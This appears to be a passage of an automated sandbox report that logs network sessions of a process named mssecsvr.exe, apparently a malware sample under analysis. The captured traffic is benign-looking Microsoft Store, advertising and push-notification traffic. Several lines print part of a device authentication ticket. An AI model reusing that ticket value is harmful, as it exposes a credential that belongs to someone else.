2022-07-20 04:08:21 UTC	7217	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4fe9b276-26f9-4ef3-bdaf-4619b2f2ddf3 Date: Wed, 20 Jul 2022 04:08:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49734	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:49 UTC	150	OUT	GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:49 UTC	151	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 29489 Content-Type: image/png Last-Modified: Thu, 24 May 2018 00:36:03 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk" MS-CV: ueR7a/BKZkGigRoU.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:49 UTC	151	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 09 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @ @6@ p6 @
2022-07-20 04:05:49 UTC	167	IN	Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b Data Ascii: l9\|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -\|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`\|/z$>=unAn"$\|tLV ,Xx`.bd
2022-07-20 04:05:49 UTC	175	IN	Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.6	54439	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:21 UTC	7217	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130807Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:21 UTC	7218	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9bca3d9d-5e25-473d-9728-74459b47a841 Date: Wed, 20 Jul 2022 04:08:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.6	54451	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:21 UTC	7218	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130808Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:21 UTC	7218	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5cc3a715-21c1-4cb0-886a-9ec256e2d696 Date: Wed, 20 Jul 2022 04:08:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.6	54455	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:21 UTC	7219	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130809Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:21 UTC	7219	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b273faf0-dab2-46a4-9763-dac1e8d8e665 Date: Wed, 20 Jul 2022 04:08:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.6	54509	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:22 UTC	7219	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130809Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:22 UTC	7220	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ad129a47-a1c7-466d-a025-238e0490106c Date: Wed, 20 Jul 2022 04:08:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.6	54510	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:22 UTC	7220	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130810Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:22 UTC	7221	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b4874b88-da99-411e-8af1-401354b6af58 Date: Wed, 20 Jul 2022 04:08:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.6	54516	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:22 UTC	7221	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130810Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:22 UTC	7221	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 66d1364f-6a48-4a84-bc7b-ab9e3cfec8a9 Date: Wed, 20 Jul 2022 04:08:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.6	54528	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:22 UTC	7222	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 36 39 34 61 36 35 65 39 31 38 66 39 36 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 88694a65e918f963
2022-07-20 04:08:22 UTC	7222	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:08:22 UTC	7222	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 36 39 34 61 36 35 65 39 31 38 66 39 36 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 88694a65e918f963<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:08:22 UTC	7223	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 36 39 34 61 36 35 65 39 31 38 66 39 36 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 88694a65e918f963
2022-07-20 04:08:22 UTC	7223	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:08:22 UTC	7223	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 63 63 4b 77 55 61 39 45 30 4b 42 48 72 65 56 53 4c 34 6d 79 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VccKwUa9E0KBHreVSL4myw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.6	54530	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:22 UTC	7223	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130811Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:23 UTC	7224	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: cd1de2ca-2ecf-452c-be08-2f385467d7d2 Date: Wed, 20 Jul 2022 04:08:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.6	54583	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:23 UTC	7224	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130812Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:08:23 UTC	7224	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: cdae7804-e0bb-4181-8a0e-3a2996ea7601 Date: Wed, 20 Jul 2022 04:08:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.6	54670	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:24 UTC	7224	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 35 39 32 34 38 35 33 33 64 33 32 32 32 39 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: f59248533d322297
2022-07-20 04:08:24 UTC	7225	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:08:24 UTC	7225	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 35 39 32 34 38 35 33 33 64 33 32 32 32 39 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: f59248533d322297<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:08:24 UTC	7226	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 35 39 32 34 38 35 33 33 64 33 32 32 32 39 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: f59248533d322297<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:08:25 UTC	7226	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:08:25 UTC	7226	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 73 30 45 50 68 4a 6c 4a 30 6d 6f 41 39 4a 45 72 64 45 4e 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3s0EPhJlJ0moA9JErdENaQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49735	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:52 UTC	180	OUT	GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:52 UTC	180	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 8756 Content-Type: image/png Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY" MS-CV: LWC80YNOokeu7YAI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:52 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:52 UTC	181	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.6	56381	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:08:52 UTC	7226	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 31 66 63 34 32 32 37 33 30 36 31 62 38 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 4c1fc42273061b8b
2022-07-20 04:08:52 UTC	7226	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
